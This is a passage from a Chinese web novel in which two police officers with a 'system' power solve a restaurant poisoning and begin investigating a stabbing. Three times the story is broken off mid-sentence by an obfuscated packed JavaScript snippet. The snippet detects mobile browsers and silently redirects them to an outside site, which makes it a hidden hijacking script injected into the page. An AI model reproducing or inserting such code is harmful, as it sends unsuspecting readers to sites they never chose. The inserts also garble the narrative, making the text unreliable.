里面的紫苏青瓜、腌豆芽味道很特别，程昭姐妹两人吃了不少。周立言闻了一下就放下了，只吃了一点比较常见的海带丝。 等了一段时间，菜品陆续被送过来了。 程昭每道菜都仔细品尝了一番，几道菜的味道都相当不错，怪不得这么多人来吃。 程露给每道菜都拍了照片，还拍了几张饭店的环境，打算回家之后修一下图，发上社交软件。 几个人吃得正欢，饭店里面突然传来一阵骚乱。 “啊！怎么会这样！？” “救命！快来人！” “天啊，有人中毒了！” 56. 线索 听到有人中毒，周立言和程昭立马跑了过去。 现场有点混乱，很多人下意识地往外面跑，有的人想凑过去看热闹。 这样下去不行。 周立言大喊：“我们是警察，请各位保持冷静，待在原地。” 周立言清朗的声音压过了人群骚乱的声音。人们听到警察在场，一时之间骚动平息了很多。 周立言看了程昭一眼：“我先过去看看怎么回事，你让饭店配合我们，不要让人离开现场。” 程昭点头。 周立言率先过去事发地点。 程昭拉住一个看起来级别比较高的饭店工作人员，和他说：“我们是警察，麻烦饭店配合我们维持秩序，先不要让客人离开。” 工作人员紧张地点点头，然后把指令安排了下去。 听到有警察在场，饭店也出面维持秩序，骚乱渐渐平息了下来。 程昭来到骚乱的中心区域，发现中毒者正是之前见过的辫子男。 “居然是他……”程昭有点惊讶。 周立言简单地检查了一下，确定男子已经死了。听到程昭来了，他走了过去，小声问：“嗯？你认识这个人？” 程昭：“我不认识他，但是我们刚刚看到他和同行几个人的一些摩擦，这个店的老板似乎也和这个人有点关系……他死了？” 周立言：“嗯，已经没有脉搏了。我已经报警和叫救护车，不过估计救不活了。” 辫子男倒在他的座位旁边的地上，躯体四肢微微蜷缩，面目狰狞，口吐白沫，眼睛泛红。 死者所坐的桌子是一个四人桌，在过道的旁边。桌子比较小，上面摆放了四副餐具，六道菜，每人的面前都摆着一杯饮料，桌子两侧放着水杯玻璃水壶。死者座位这一侧的两个水杯、一杯饮料被打翻了，液体流得到处都是。 同桌的另外三个人，一脸慌乱地站在各自的位置上。饭店的老板也神色凝重地站在不远处。 程昭一边维护案发现场，一边分神去查看系统。 【系统有一个新事件“渣男中毒事件”，系统显示凶手是那个红色头发的女人。】 【信息关联表上面，关联最靠前的三个信息是：“桌面翻倒的水杯”、“被泡湿的纸巾”、“板寸头男”……】 程昭有点蒙圈，为什么红发女是凶手，但是板寸头男的排序那么靠前呢？ 难道是他们联手作案？ 她和周立言是休假状态，这个案件不属于他们，他们现在还不能乱翻案发现场，要等其他人来到。 没过多久，警察和救护车都来了。 医护人员当场宣告死者已经死亡。 随行的法医开始进行简单的验尸，鉴证科开始取证，辅警也拉起警戒线维持秩序。 到场的两个刑警是刑事二队的人，吴白和刘千峰，他们看到周立言和程昭，一起走了过来。 “好巧啊，你们怎么在这里。”吴白好奇地看了看周立言，又看了看程昭。 周立言看了一眼程昭，然后一脸平淡地说：“今天我请程昭和她妹妹吃饭，刚好遇到了这个案件，是我报的警。” 周立言看起来太淡定太自然了，而且吃饭的人还有家属，吴白他们本来还有一丝丝怀疑和八卦，看到周立言这样的态度，便打消了怀疑，不继续打听了。 程昭有种被抓包的感觉，不过吴白他们没细究，她也把注意力放到案件上。 周立言继续和他们说案件的事，几个人都进入了工作状态。 周立言：“我冲过去查看死者的时间是13:17，死者口中有苦杏仁的气味，我怀疑他中了□□的毒……程昭说她曾经看到，同桌的人和死者起过争执，而且听说饭店老板和死者也有关系，你来和大家说一说？” 程昭点头，简单地复述了一遍当时看到听到的内容。 程昭复述完，法医、鉴证科那边也有了一些发现。 法医反馈初步的检查结果，他也认为死者很有可能是□□中毒而死。随后他把尸体带走，回去进行详细的尸检。 鉴证科检查了一下桌子上的食物和餐具，在死者水杯的液体里面发现了氢化物的成分。 另外，鉴证科还在桌子附近的地面上发现了一个装有□□粉末的小瓶子，上面检测到死者和另一个人的指纹。 吴白：“验一验几个人的指纹吧，如果和药瓶的指纹匹配，那很可能就是凶手了。” 程昭提出不同的意见：“瓶子被随意丢在地上，感觉像是有点故意给人看的。如果上面有凶手的指纹，ta不是应该找地方藏好瓶子吗？” 刘千峰也发挥想象：“药瓶上面居然有死者的指纹……有没有可能是自杀，然后栽赃嫁祸给另一个人？” 周立言沉吟：“你们说的都有可能。我们先去取嫌疑人的指纹，然后询问他们吧。” …… 警方在死者身上找到了他的身份证，又问了与他同行的人，确定了几个人的身份。 死者名叫方凯南，27岁，化工厂员工。 红裙女名叫张小英，25岁，影楼化妆师，死者的女朋友。 板寸头男子名叫陈一平，28岁，化工厂员工，死者的好朋友和同事。 红发女名叫叶燕，25岁，酒吧调酒师，陈一平的女朋友。 饭店老板、负责这个餐桌的服务员，也受到了警方的询问。 饭店老板名叫赵瑜，42岁，商人，名下有三家饭店。 负责这片区域的服务员名叫陈玉，23岁。 几个相关人士都被要求提取指纹，虽然不太情愿，但是大家都照做了。经过核对，药瓶的另一个指纹属于陈一平。 同时，相关人士的随身物品也被要求拿出来检查。 张小英随身物品有：手机、钱包、钥匙、小包装纸巾、眼药水、口红、粉饼、女士单肩包。 叶燕的随身物品有：手机、折叠镜、钥匙、小包装纸巾、粉饼、酒精湿巾，运动斜挎包。 陈一平的随身物品有：手机、手表、钱包、钥匙、墨镜和眼镜盒、纸巾、润唇膏、帆布斜挎包。 老板和服务员身上只带了手机、钥匙。 …… 饭店里面的监控，只在门口和收银台有设置，其他区域没有监控。 死者和朋友在店里发生的事，需要询问在场的人才可以了解。 吴白找老板要了一个房间，充当询问室。 周立言把几个嫌疑比较大的人，先聚在一起询问。 服务员陈玉不解：“为什么我也要被问话呢？我今天是第一次遇到这几个人，我都不认识他们。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14098574|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周立言：“因为你就在附近，可能看到了一些事情，所以想请你也帮忙协助调查。” “好吧。”陈玉点头。 警察先来确定时间线。 通过一番询问，确定了11:50死者一行人进入店里，12：03点菜，点菜之后张小英去了一次洗手间，然后叶燕也去了一次洗手间，服务员12：20开始陆续上菜，接下来四人用餐，13:03死者出去打电话，陈一平去了一次洗手间，两人差不多时间回到座位，13:17死者中毒突然倒下。 不过奇怪的是，死者13:03的电话只通话了两分钟，其他人回忆，他离开了十分钟左右。 老板犹豫了几秒，然后站出来说：“他打完电话之后，在收银台附近遇到我了，我们说了一会话。店里的监控应该有拍到。” 程昭：“请问你和死者是什么关系？” 老板：“这个方凯南不是一个好东西……他是一个勒索犯。” 程昭挑眉，和周立言对视一眼，交换了个眼神。 程昭追问：“可以说说发生了什么事吗？” 老板苦笑：“我就是不说，估计你们后面也会查得到，我就不藏着掖着了……我曾经和店里一个经理有婚外情，不知道怎么被他知道了，他勒索过我一次，后来还时不时到店里吃霸王餐。” 刘千峰：“那你也有作案动机，是你下的毒？” 老板连忙摇头否认：“不是我，我要杀他也不会在自己店里下毒啊。而且我的婚外情已经被我老婆发现了，我也不怕方凯南再要挟我了。今天我就是和他说清楚了，让他以后不要再来骚扰我。” 【系统显示，老板的婚外情和被勒索，被标注与案件关联，但是关联度比较低。】 她有点想不明白，这些事和案件有什么联系，于是她决定先继续收集线索。 程昭看向死者的几个朋友：“我之前听到你们在用餐前争执，张小英小姐似乎在怀疑死者和叶燕小姐有染，请问这件事是真的吗？” 服务员陈玉附和道：“我也听到了。” 叶燕皱眉抿唇：“我没有。” 张小英大声说道：“你们有，我有证据！之前我朋友看到过方凯南带了一个红头发的女人回家，她还拍了照片。” 程昭：“可以让我们看看那个照片吗？” 张小英打开手机，给他们看了之前她朋友偷拍到在照片。 因为距离和光线问题，照片的人看不清长相，但是那个红色长发的女人，看起来和死者差不多高，大概175cm，比叶燕高了差不多二十厘米。 程昭：“这个身高看起来不太可能是叶燕小姐吧，高太多了。” 张小英：“但是确实是有这么一个人，那个人还落下了两根头发在方凯南的床上。” 周立言：“那些头发，你有保留吗？” 张小英摇摇头：“那个头发摸起来有点怪，细细的。方凯南拿去丢掉了。” 【系统标注了这个“红色头发的高个子女人”，而且关联度很高，仅次于陈一平。“遗落的发丝摸起来怪怪”，也被标注了关联。】 头发摸起来怪怪，高个子……这些元素组合起来，程昭想到了一个词“伪娘”。 【系统更新了红色头发女人的内容，显示为“红色头发的高个子伪娘”。】 57. 真相 伪娘？程昭心里隐隐约约联想到一些东西，但是现在正在询问嫌疑人，不是胡乱猜想的好时机。 程昭压下心头的想法，继续提问：“那我们先抛开出轨的事，你们和死者关系怎么样？” 张小英有点伤心：“我是他的女朋友，我们在一起三个月，我和他感情很好，还计划同居。” 陈一平叹息：“我和方凯南是好朋友，在同一个单位上班，我们认识几年了，感情很好。” 叶燕淡漠地说：“我和方凯南是普通朋友，我们会一起吃饭是因为陈一平。” 程昭又问：“那你们觉得，其他人和死者关系怎么样？” 几个人互相看了对方两眼，脸上浮现复杂的情绪。 首先开口的，依然是张小英，她说：“陈一平和凯南是好哥们，每次出去玩几乎都带上了对方，有时候我都吃醋了……叶燕平时和凯南走得不算近，但是她长得漂亮又有个性，凯南有时候会偷偷看她，我觉得方凯南对叶燕有点意思。” 陈一平抿了抿嘴：“张小英对阿南很痴迷，控制欲很强，他们偶尔会吵架……叶燕和阿南没有什么话题，没有太多交集。” 叶燕：“张小英和方凯南偶尔就会吵架，方凯南每次都会送她礼物来安抚她，但是犯的错是永远不会改的……陈一平和方凯南太亲密了，有时候我甚至觉得我是个第三者。” 【系统的关联表更新显示了一条，“陈一平和死者感情很好，很亲密”。】 程昭看了看陈一平，这个男的和死者差不多高，一边耳朵戴着个耳钉，和死者好像是同款…… 程昭心里浮现一个大胆的猜测。难道…… 这时，程昭的手机响了一声。她手机刚刚一直拿在手里录音，于是她低头一看。程露给她发了一张饭店环境的照片，然后程露又发来一段文字。 程露：啊啊啊啊啊，我好像拍到了很劲爆的东西。你看最右边的角落，好像有两个男的在亲吻……那个是不是死者啊？ 程昭心里隐隐约约的猜想，一下子清晰了。 【系统显示，陈一平和死者有感情关系。】 叶燕是陈一平的女朋友……所以她的杀人动机，是除掉情敌？ 系统没有标注程昭这个推测，所以叶燕的动机应该是其他东西。 系统提示里面，“泡湿的纸巾”可能是包装□□的容器，只是用纸巾装着粉末，很容易就散开了，估计她是用了其他东西把纸包固定包裹住。 “翻倒的水杯”在系统的信息关联表排列第一位，可以看出毒药是下在水杯里面。 用餐期间，桌子旁边总有其他人在，人数最少的时候，就是两个男伴都走开的时候。当时虽然张小英在场，但是总有方法引开她的注意力。 只是叶燕的座位是死者的斜对面，她要对死者的水杯下毒不太容易。 程昭陷入沉思。 …… 周立言、吴白等人继续对嫌疑人问话。 他们问起，用餐期间周围有没有发生什么特别的事。 张小英等人提起了饭店有工作人员扮演财神派红包。 老板和服务员说这是饭店的新年活动，年初一至年初三，每天13:00左右的时候，扮演者会在饭店四处派小红包。 刘千峰拿出那个带着死者和陈一平指纹的药瓶，问：“你们对这个瓶子有印象吗？” 张小英一脸疑惑，仔细看了两眼，然后摇摇头。 叶燕状似好奇地看了几眼瓶子，脸上浮现耐人寻味的神色，还偷瞄了一眼陈一平。 吴白留意到叶燕的小动作，然后也跟着看向陈一平。 陈一平看着这个药瓶，好像回忆起了什么，脸色有点凝重，甚至有点难看。 吴白：“陈一平，你还不愿意说吗？你认得这个瓶子吧。” 陈一平回过神，连忙否认：“没，没有。” 吴白皱眉：“你狡辩也没有用，刚刚鉴证科和我们说了，上面有你的指纹！瓶子里面装着□□的毒药，你就是凶手吧！” 陈一平慌了：“真不是我……这个瓶子是我们之前意外丢失的……” 周立言：“你现在不说，就到警察局里面慢慢说吧。” 吴白走过去，准备给陈一平上手铐。 陈一平急了：“我说，我说，别抓我，我没有杀人。” 吴白松手，但是依然站在陈一平的旁边。 陈一平解释，他和死者方凯南之前曾经偷过化工厂里面的材料、成品出去卖，他们分装曾经有用过这种瓶子。前段时间交易里面有一瓶□□不见了，装药的就是这种瓶子。 周立言追问陈一平，问他知不知道买家身份。 陈一平表示，卖货的渠道是死者找回来的，他不知道买家的身份，只知道那边给钱很大方。 吴白：“那也不能说明你就是清白的啊，说不定就是你自己偷偷藏起来了一瓶，准备毒杀死者。” 陈一平欲言又止，好像快要哭出来了。但是他最后还是保持了沉默。 张小英突然冲过去，打了陈一平两巴掌，恨声说：“你为什么要杀凯南哥，你说话啊！” 叶燕也过去，静静地看着陈一平：“你不解释吗？” 陈一平低下头：“……是我放的毒药，你们带我走吧。” 周立言继续询问：“你先说说你的作案步骤吧。” 陈一平：“去完洗手间之后，我偷偷把毒药下到阿南的水里面，然后趁乱丢掉了瓶子……阿南的杯子应该也有我的指纹。” 吴白看向鉴证科的工作人员，眼神询问杯子上面指纹的情况，工作人员点了点头。 吴白扣住陈一平的手，给他上了手铐：“那请你先和我们回去警……” “等一下！”程昭突然出声，打断了吴白的话。 “？”众人疑惑地看向程昭，等待她解释。 程昭也不卖关子，她已经将事情的经过，在心里想明白了。她的推测通过了系统的验证。 “陈一平不是凶手，”程昭胸有成竹地说，“真凶是他的女朋友，叶燕小姐。” “什么？！”大部分人都很惊讶，周立言若有所思，陈一平有点慌乱，反倒是叶燕看起来有点淡然。 叶燕：“……我和方凯南无冤无仇，我为什么要杀他？你说是我做的，证据呢？” 程昭：“证据就在你的随身物品里面——那个折叠镜，曾经装过包着毒药的纸巾，上面应该可以检测出纸巾和毒药的成分！” 刘千峰看了看自己手里药粉瓶子，装毒药的不是这个瓶子吗？ 吴白也有同样的疑惑，他直接问了出来： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105961|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “装毒药的不是那个瓶子吗？为什么还要另外分装？叶燕为什么要杀方凯南？” 程昭把程露刚刚发给自己的照片，放大之后给其他人看。 程昭：“死者和陈一平有暧昧关系，张小英朋友看到的红发高个女人，就是陈一平假扮的。” 众人大吃一惊，纷纷看向陈一平，陈一平看起来很阳刚，居然是同性恋？ 陈一平恼羞成怒：“你别说了！凶手就是我，你们把我带回去就可以交差了！你不要乱说了！” 叶燕被指责是凶手，男朋友还被指出是同性恋，但是她看起来并没有生气的意思，反倒是好像在欣赏男友气急败坏的样子。 程昭：“叶燕应该是之前察觉了男友和方凯南的情人关系，又意外得知他们偷卖化工厂材料的事，然后偷偷拿走了一瓶毒药。 “她知道瓶子上面有他们两个人的指纹，拿瓶子的时候特意戴了手套。倒出足够的毒药之后，她把瓶子放好，准备用来栽赃陷害他们其中一个人。 “吃饭期间，方凯南和陈一平先后离开了座位，张小英被其他事情吸引了注意力，叶燕找了机会，把毒药放进了陈一平的杯子里。没想到方凯南拿了陈一平的水喝了，他毒发之后，叶燕趁乱丢掉了装药粉的纸巾，和之前准备好的药瓶。” 周立言：“陈一平的杯子？” 程昭：“是的，叶燕想要杀的人，应该是陈一平。” “没错，”叶燕冷笑一声，“虽然我也想要方凯南死，但是我更想杀了陈一平。” “为什么？”张小英看看陈一平，又看看叶燕，她实在是难以想象这一切。 叶燕扯了扯嘴角：“陈一平，你要不要和大家说说，方凯南对我做了什么，你对我做了什么？” 陈一平低下头，保持沉默。 事已至此，叶燕也不想隐瞒了，她很干脆地说出了一切真相： 叶燕和陈一平、方凯南是半年前在酒吧认识的。 方凯南对她感兴趣，曾经献过一段时间殷勤，但是她对方凯南这种类型不感兴趣，反而对陈一平比较有好感。后来方凯南没有再对她表示好感，反倒是陈一平开始追她。没多久，他们确定了情侣关系。 慢慢的，叶燕感觉到一点不对劲，她和陈一平在一起的时候，她总是特别容易喝醉，偶尔就喝断片。她是调酒师，很清楚自己的酒量。 与此同时，她发现陈一平和方凯南很亲密，已经超出了正常的兄弟情。 她一开始还以为，他们是因为一起偷卖东家的财物，所以才关系紧密。 后来，她意外发现了自己喝醉的真相，陈一平和方凯南才是真正的一对，陈一平接近她，是为了方便方凯南对自己下手。 最令她奔溃的是，她被感染了艾滋病毒。 于是，她决定向毁掉她的两个渣男复仇。她偷走了一瓶毒药，打算找机会对陈一平下手，然后嫁祸给方凯南，或者把两个人都杀掉。 “……没想到最后毒死的是方凯南，他们两个杯子是放在同一侧的，我不清楚他是拿错了，还是当众和陈一平秘密调情，和他交换了水杯喝水。”叶燕冷笑，看向陈一平。 “我曾经是喜欢你的，没想到你居然把我当成你们的玩具。你是不是猜到是我下的毒，但是害怕被揭穿你们的烂事，所以才包揽罪名？” 58. 后续和新案件 叶燕的话说完，房间里的人都沉默了，纷纷看向陈一平，想看他有什么话要说。 陈一平脸色灰败，欲言又止，最后叹了一口气：“是我对不起你……我也喜欢你，但是我爱阿南，他想要的我没办法拒绝……我本来想承担下一切罪名，阿南死了，我也不想你坐牢。” 叶燕嗤笑：“无所谓了，你喜欢谁你爱谁的可以。而且你想要顶罪也没有用，警察都查清楚了。 “我得了那种病，得个小感冒都可能会死，生活要小心翼翼，我的亲友可能会远离我，我的工作估计也会保不住。我的身心都变得不自由，这样和坐牢有什么区别？现在活着对于我来说，已经是一个牢笼了…… “我留你们的指纹，主要就是要警察去查你们的事，把你们的烂事抖出来。现在我的目的也算达成了。 “警察先生，你们带我走吧……可以的话，我不想和陈一平坐同一辆车。” 叶燕说完，就低下头，不愿意再看陈一平一眼，静静地等待警察把自己带走。 这样的小请求，吴白自然不会拒绝：“好的，没问题，请你们三个都和我走一趟吧。” 张小英：“啊？我也要吗？我想快点去一趟医院，做个检查……” 她听到叶燕说她被感染了艾滋，她就陷入了恐慌状态，害怕自己也中招了。如果不是警察还在场，她肯定会直接跑出去，打车到医院。 刘千峰：“张小姐你别急，你和我们录完证词，我们直接送你去医院，帮你联系医生。” “好吧……”张小英点点头，警察带她去医院，也省得她去了解要做什么检查了。 她现在心里一点都不喜欢方凯南了，那个渣男死不足惜，既然他喜欢男的，为什么还要祸害她们呢？ 不过渣男已经死了，回答不了她的问题。 案件真相查清了，凶手也逮捕归案。 程昭和周立言的协助任务完成，因为案子是二队的，他们不需要跟着回去加班，可以直接回家。 陈一平和方凯南在化工厂偷材料、产品的事，也不用程昭他们操心。 被盗物品种类和数量的统计；联系化工厂；确定买家身份……工作量挺多的，不过这些都是二队吴白他们的工作了，估计复工之前都搞不完。 ………… 吴白、刘千峰收队，把相关的人和物证都带走了。善后的清洁人员也来到案发现场做清理工作。 饭店里面的人没有嫌疑，可以自由离开了。 有的人嫌过年遇到这种事太晦气，一解封就急急忙忙地跑了。 但是有的人看到没有危险，就留在现场，还想和老板、服务员打听发生了什么事。 老板和服务员陈玉已经被警察交待过了。所以他们只对外宣传案子是熟人作案，目的是为了复仇，具体信息警方很快就会公布。 人们议论纷纷，都很想知道发生的事，甚至还有人想过来问程昭、周立言。 程昭看起来很和善，但是周立言在外面都是冷着一张脸，看起来很有距离感。大家都不太敢靠近。 程昭一行人也没久留，拿好东西就去结账。 老板本来想给他们免单，以此感谢他们帮忙解决饭店里的案件。不过周立言拒绝了。你来我往地推让了几番，最后老板给他们打六折。 老板：“……六六大顺，大家都拿个好意头。” …… 离开了饭店，程露缠着程昭，追问案件的来龙去脉。 程昭有点顶不住程露的攻势，周立言笑了：“没事，这个事估计很快就会上新闻。药品的事先保留，投毒案可以说。” 程昭想了想，她也觉得后续就是周立言说的那样。 毕竟新年里面有人在饭店中毒，不公开说明案件真相，估计会引起很多流言恐慌。不过药品流出的事，估计不会轻易公布了。 于是，程昭简单地和程露讲了一遍案件的经过。 程露听得连连惊叹……当众下毒、栽赃嫁祸、双性恋、出轨、三角恋……可惜她不能现场旁观。 不过这两个渣男也太可恨了，玩弄感情，还连累人家失去了健康。 程露：“叶燕也太可惜了，她其实也是受害者。” 程昭叹息：“是啊，我也没想到她居然被这两个男的害得这么惨。虽然真相大白，但是好像有点高兴不起来。” 周立言：“没办法，法律是底线，她确实是杀人了。不过她的情况特殊，认罪态度还算良好，估计会酌情减刑的。” 处理完案件，时间都差不多五点了，很快又到晚饭时间。 几个人商量了一下，决定晚饭还是买材料回家，一起吃火锅。 中午饭店的菜式虽然味道不错，不过突然遇到中毒事件，实在是太影响心情了。 买食材的时候，顺便问问有没有柚子叶，买一点煮水，祛一下晦气。 ………… 第二天，投毒案果然上了新闻。 警察破案神速，凶手当场认罪被捕。这是很亮眼的业绩，值得大力宣扬。 凶手的作案动机是复仇，不是什么报复社会事件，信息公布之后，网上的谣言立刻少了。 人们看完新闻，基本上都是夸赞警方的，没有怎么引起社会恐慌，饮食行业也没有受到太多影响。 …… 陈一平、方凯南偷卖化工厂材料、成品的事，正如周立言所料，警方的处理方式确实是秘而不宣，暗中调查。 不过这个案子不归程昭他们管，所以程昭和周立言爽快地抛开了案件，很愉快地度过了剩下的几天新年假期。 程露说和朋友约好了，坚决不当他们的电灯泡，程昭和周立言便两个人到处游玩。 游乐园，赏灯会，看烟花，逛庙会…… 有些事情程昭已经很久没有做过了，上辈子最近那几年春节她都在到处打工。现在过年有人陪伴，而且身边有了喜欢的人，她感觉做什么都十分新鲜。 对周立言来说，过年本来都是他十分厌烦的时候，和家人聚在一起，他感觉到无形的压力。但是今年和程昭在一起，他感觉很快乐。 …… 很快，假日余额归零，又开始了上班的日子。 吴白他们那边，偷卖化工材料的案件也有了一些进展。 陈一平他们每次偷的材料数量没有很多，但是偷的频率很高，持续时间较长，所以累计起来数目和价值都不少。 被偷的东西都是买家长期指定要的。其中有几种是有毒性的，还有几种是生产毒品的原料，这些情况让警方对这个案子变得更加慎重和警惕。 可惜买家的信息，陈一平知道的不多，销售渠道都是死者方凯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125842|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南去接触的。 吴白他们花了不少时间和功夫，终于追查到一些线索，找到了和方凯南联络的人，黑市里面的一个叫做老K的掮客。 老K没有抵抗太久，很快就招了。 他告诉警察，他受委托收购化工材料，方凯南是他找的其中一个卖家。委托方很神秘，出手大方。平时联系他的人叫陈哥，他有一个姓孙的小弟，有时候是陈哥来取货，有时候是孙小弟来取。 上一次交易是去年十二月，下一次交易还没有确定。按以往的惯例，三四月应该会有一次交易…… 对接人叫陈哥，而且有个姓孙的小弟，这个组合让二队的警察联想起了之前的视频平台案，幕后那两个逃走的人。 吴白他们给老K看了陈哥和孙家豪的照片。 老K确认了他们就是和他对接的联络人。 刑事二队把这件事上报了领导于山，也把情况告诉了三队。 大家知道后，都心生警惕。陈哥只是一个对接外部的人，绝对不是老大级别的人物，他的背后肯定有更大的势力。现在看来，这个势力更加危险了。 二队也继续跟踪这个案子，老K答应做污点证人，配合警方做事。 买家来收货之前，都会先发短信给老K的手机，然后再双方确定交易地点。 只要买家联系他，他就配合警方抓人。 ………… 又过了几天，F市警方突然传来消息。 他们盯梢金堂饭店和附近度假村的时候，意外看到了疑似陈哥的人。 而且，他们还得到了线报，说金堂饭店过段时间准备开地下赌局。赌局的具体时间不确定，他们还在打听消息。 F市警方知道陈哥和孙家豪身上有重要案件的线索，所以也十分重视，他们说后续再遇到这两个人的，他们会帮忙把人先控制起来。 于山虽然很想快点抓到这两个人，不过也只能静静等待。 ………… 一个很普通的工作日早上，上班族小陈正准备出去上班。 他出门的时候，留意到斜对面的那一户人家，屋门半掩，里面透出一点灯光。 小陈心想：对面已经租出去了吗？居然门也没关，新住户的心也太大了。 本着友好邻里的想法，小陈主动过去敲门：“你好，请问有人在吗？” 屋子里面静悄悄的，没有人回应。 小陈又喊了一遍，然后推开屋门：“请问有人吗？你们家的门没关好……” 小陈的喊话声戛然而止。 小陈被眼前看得到一幕惊呆了，一个穿着西装制服的女人一动不动地倒在屋子里，腹部插着一把刀子，鲜血染红了她的衣服，留到地面上。 “天啊，死人了……”小陈后退两步，回过神来，立刻打电话报警。 看来今天是不宜上班了，小陈暗暗叹气。 ………… 案件被分配到刑事三队。 周立言等人接到案件，立刻赶往现场。 附近的民警早已到了现场维护秩序，法医、鉴证科等人也比刑警早到了一步，正在做初步的检查。 “这个案件是什么情况？”侯远山问先到场的民警。 民警：“死者好像是附近的一个租房中介，报案人是住斜对面的邻居，他现在在自己屋子里。” 59. 现场 谢过民警，周立言、程昭等人先进入案发现场，了解案件。 一进屋门，就看到死者倒下的地方。尸体还留在原地，大概在屋子门口和饭厅之间，仰卧在地，头朝里脚朝外，腹部被捅了几刀，鲜血流了一地。死者的脸上还带着惊愕、痛苦与不甘之色。 法医做完初步的检查，看到刑警小队来了，便站起身来和他们说：“鉴证科找到了死者的身份证，死者名叫毛曼文，今年35岁，A市人。身高165cm，中等身材。死亡时间预估是昨晚21点至凌晨三点。死亡原因是腹部多处刀伤。缩短死亡时间范围和确定致命伤，需要回去进一步检查才可以知道。 “凶器是一把水果刀，这把刀刚好被肋骨卡住了，我费了一些功夫才取了下来。 “死者的双手有防御性伤口，右手指甲缝里面好像留有一些皮肤组织，回去之后我会提取一下DNA。” 法医和他们说完，就让出空间，让刑警查看死者，走到一边收拾东西，等刑警看完就把尸体带回去，做进一步的检查。 程昭打开了系统。 【系统显示了这个新事件“租房中介死亡案”，事件概述只写了死者毛曼文在未租出的屋子被袭击死亡，其他信息都打了问号。】 程昭开始收集信息，把注意力先放在尸体上。 虽然已经看过几次尸体，但是程昭依然会感到生理不适。 她默默调整了一下状态，然后开始仔细观察。 死者身穿着一套干练合身的职业西装，脚上穿着一双休闲鞋，披散着长发。 她的手上有几处划伤，应该就是法医说的防御性伤口。手上沾了血，应该是曾经捂住伤口沾到的。有几个手指没有沾血，指甲缝里面可以看到留有一些皮肤皮屑。 伤口集中在腹部，死者的衬衫都被染红了。西装外套也有一角沾了一些血，好像用来擦过什么东西。 凶器被法医放到一边的桌子上，刀柄上有干涸的血迹，似乎被胡乱擦拭过。刀刃有点卷边了，有可能是卡在肋骨上的时候造成的。 可能凶手本来是想拔走刀子带走的，但是刀子卡住了，ta就用死者的衣服胡乱擦拭了刀柄。 看完尸体的情况，程昭感觉有点不对劲，但是又想不清是什么。她站起身来，无意间看到大家身上的厚外套…… 对了，二月的晚上气温比较低，昨天挺冷的，死者的外套在哪里？难道也被凶手带走了？ 【系统更新了内容，“凶手带走了死者外套”也被记录在列表，不过关联程度不算很高。】 观察完尸体，程昭四处查看案发现场。 这个房子里面只有大件的家具，几个沙发还盖着防尘罩。饭厅这边的桌椅应该是用纸巾擦拭过，其中一个椅子被拉开了，死者的包包挂在椅背上。 看起来死者曾经坐在饭厅这里等人。客人来了，她开门把人引进了屋子。来客突然攻击死者，死者防备不及，然后中刀死亡。 旁边的鉴证科工作人员看到他们来了，和他们说：“取证工作还没有全部完成，不过已经发现了一些有用的线索。 “死者的包包里面有她的身份证、钱包、钥匙、记事本、工作证、纸巾、防狼喷雾。 “凶器上面提取到了部分指纹。 “地面采集到两组鞋印，其中有一组属于死者。另一组40鞋码，曾经踩到喷溅的血迹，估计是凶手留下来的。” 程昭疑惑：“没找到她的手机吗？” 鉴证科技术员摇摇头，把死者的随身物品递给他们：“柜子底下也找过了，没看到死者手机。如果不是她没带手机在身上，就是被凶手拿走了。” 周立言闻言，立刻联系技术部帮忙查死者的手机位置。 技术部找到了死者的手机号，手机已经被关机了。 不过他们找到手机最后的信号收发区域——在案发地点的西边，和这个公寓隔了两个街道。 …… 程昭继续查看死者的物品和鉴证科搜集的痕迹。 【系统的信息关联表显示了刚刚她观察到的内容，其中排行最前面的三个线索，分别是：“刀子和上面的指纹”、“凶手的鞋印”、“记事本”。】 刀子是凶器，关联性排第一也正常。 不过，这把刀子似乎只是普通的家用厨具。指纹是残缺的，不知道在警务系统里面能不能匹配上对应的人…… 她放下刀子，转而去看地面的鞋印。 因为这个租房空置了一段时间，地面有薄薄的一层灰尘，鞋子走在上面就留下的浅浅的痕迹。凶手和死者留下的脚印，都一一被鉴证科人员圈了出来。 程昭仔细查看了一下凶手的鞋印，这个码数处于一个尴尬的分区，有可能是高个子的女人，也可能是小个子的男人，还有可能是未成年的男孩。 【系统更新了内容，显示“鞋印属于小个子男人”。】 死者应该在屋子里面活动过较长时间，她的鞋印相对比较多比较乱，她似乎在整个屋子到处走动过。 凶手的鞋印就只出现在玄关、饭厅、洗手间之间的区域。 看脚印可以推测，他应该是进门就袭击了死者。死者倒下之后，他在她周围走动过，鞋子还踩到了喷溅到地上的血液。凶手在离开之前去了一趟洗手间，洗了手和清理了鞋底上的血。 